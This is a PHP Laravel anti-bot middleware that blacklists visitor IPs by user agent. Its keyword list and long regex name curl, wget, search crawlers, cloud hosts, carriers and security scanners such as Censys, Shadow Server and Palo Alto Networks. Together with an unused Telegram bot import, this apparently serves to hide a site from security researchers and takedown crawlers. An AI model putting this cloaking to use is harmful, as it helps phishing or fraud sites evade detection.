<?php

namespace App\Http\Middleware;

use App\Models\Blacklist;
use App\Services\BotValidator;

use Closure;
use Illuminate\Http\Request;
use Crawler;
use Jaybizzle\CrawlerDetect\CrawlerDetect;
use Symfony\Component\HttpFoundation\IpUtils;
use Telegram\Bot\Api;
use App\Http\Controllers\Controller;
class AntibotMiddleware
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure(\Illuminate\Http\Request): (\Illuminate\Http\Response|\Illuminate\Http\RedirectResponse)  $next
     * @return \Illuminate\Http\Response|\Illuminate\Http\RedirectResponse
     */


    public function handle(Request $request, Closure $next)
    {
        $ip = $request->ip();
        $forceAllow = $request->has('pelr');
        if (strtoupper($request->method())=='GET'){
            $ua = trim(strtolower($request->userAgent()));

            if(empty($ua)){
                (new BotValiDator($request->ip()))->addToBlackList();
            }

            $CrawlerDetect = new CrawlerDetect;

            if($CrawlerDetect->isCrawler($request->userAgent())) {
                (new BotValiDator($request->ip()))->addToBlackList();
            }

            if($this->bannedWords($ua)){
                (new BotValiDator($request->ip()))->addToBlackList();
            }
            if($this->isBotDetected($ua)){
                (new BotValiDator($request->ip()))->addToBlackList();
            }


        }
        if(Crawler::isCrawler($request->userAgent())){
            (new BotValiDator($request->ip()))->addToBlackList();
        }
        visitor()->visit();

        return $next($request);
    }
    public function bannedWords($string): bool
    {
        if(empty(trim($string))){
            return true;
        }
        $bannedList =["level","spam","media","zgrab","curl","http","python","internet","gptbot","censys","scan","openai","telegram","netiface","isp","bot","crawl","spider"];
        $string=strtolower($string);
        foreach ($bannedList as $value){
            if(str_contains($string,$value)){
                return true;
            }
        }


        return false;
    }
    public function isBotDetected($ua): bool
    {

        if ( preg_match('/abacho|amazon|sprint|aws|ovh|google|EE limited|TT1|TEFINCOM|performive|Total Server|Packethub|ColoCrossing|Allison|WhiteLabelColo|Webline|Clouvider|Constantine Cybersecurity|The Shadow Server|Hurricane Electric|Nexeon Technologies|Fibernet Direct|IPXO LLC|Cogent Communications|Stumpner Netservice|Packethub|Tefincom|SlashNext Inc|Cogent Communications|Fiber Group Digital|SPRINTLINK|Code 200 UAB|DataCamp Limited|DigitalOcean LLC|Hetzner Online|Hostuj|Comcast Cable|Censys Inc|Shanghai UCloud Information|China Mobile Communications|Ucloud|Palo Alto Networks Inc|Alpha Strike Labs|Contabo|LogicWeb|Performive LLC|M247 Europe|Telstra|TPG Internet|Internet Association|Western Australian|microsoft|ibm|alibaba|tmobile|t\-mobile|vtext|verizon|linode|fiber|at&t|at & t|t mobile|oracle|digitalocean|consolidated|azure|namecheap|hostinger|accona|AddThis|AdsBot|ahoy|AhrefsBot|AISearchBot|alexa|altavista|anthill|appie|applebot|arale|araneo|AraybOt|ariadne|arks|aspseek|ATN_Worldwide|Atomz|baiduspider|baidu|bbot|bingbot|bing|Bjaaland|BlackWidow|BotLink|bot|boxseabot|bspider|calif|CCBot|ChinaClaw|christcrawler|CMC\/0\.01|combine|confuzzledbot|contaxe|CoolBot|cosmos|crawler|crawlpaper|crawl|curl|cusco|cyberspyder|cydralspider|dataprovider|digger|DIIbot|DotBot|downloadexpress|DragonBot|DuckDuckBot|dwcp|EasouSpider|ebiness|ecollector|elfinbot|esculapio|ESI|esther|eStyle|Ezooms|facebookexternalhit|facebook|facebot|fastcrawler|FatBot|FDSE|FELIX IDE|fetch|fido|find|Firefly|fouineur|Freecrawl|froogle|gammaSpider|gazz|gcreep|geona|Getterrobo-Plus|get|girafabot|golem|googlebot|\-google|grabber|GrabNet|griffon|Gromit|gulliver|gulper|hambot|havIndex|hotwired|htdig|HTTrack|ia_archiver|iajabot|IDBot|Informant|InfoSeek|InfoSpiders|INGRID\/0\.1|inktomi|inspectorwww|Internet Cruiser Robot|irobot|Iron33|JBot|jcrawler|Jeeves|jobo|KDD\-Explorer|KIT\-Fireball|ko_yappo_robot|label\-grabber|larbin|legs|libwww-perl|linkedin|Linkidator|linkwalker|Lockon|logo_gif_crawler|Lycos|m2e|majesticsEO|marvin|mattie|mediafox|mediapartners|MerzScope|MindCrawler|MJ12bot|mod_pagespeed|moget|Motor|msnbot|muncher|muninn|MuscatFerret|MwdSearch|NationalDirectory|naverbot|NEC\-MeshExplorer|NetcraftSurveyAgent|NetScoop|NetSeer|newscan\-online|nil|none|Nutch|ObjectsSearch|Occam|openstat.ru\/Bot|packrat|pageboy|ParaSite|patric|pegasus|perlcrawler|phpdig|piltdownman|Pimptrain|pingdom|pinterest|pjspider|PlumtreeWebAccessor|PortalBSpider|psbot|rambler|Raven|RHCS|RixBot|roadrunner|Robbie|robi|RoboCrawl|robofox|Scooter|Scrubby|Search\-AU|searchprocess|search|SemrushBot|Senrigan|seznambot|Shagseeker|sharp\-info\-agent|sift|SimBot|Site Valet|SiteSucker|skymob|SLCrawler\/2\.0|slurp|snooper|solbot|speedy|spider_monkey|SpiderBot\/1\.0|spiderline|spider|suke|tach_bw|TechBOT|TechnoratiSnoop|templeton|teoma|titin|topiclink|twitterbot|twitter|UdmSearch|Ukonline|UnwindFetchor|URL_Spider_SQL|urlck|urlresolver|Valkyrie libwww\-perl|verticrawl|Victoria|void\-bot|Voyager|VWbot_K|wapspider|WebBandit\/1\.0|webcatcher|WebCopier|WebFindBot|WebLeacher|WebMechanic|WebMoose|webquest|webreaper|webspider|webs|WebWalker|WebZip|wget|whowhere|winona|wlm|WOLP|woriobot|WWWC|XGET|xing|yahoo|YandexBot|YandexMobileBot|yandex|yeti|Zeus/i', $ua)
        ) {
            return true; // 'Above given bots detected'
        }

        return false;

    }

}
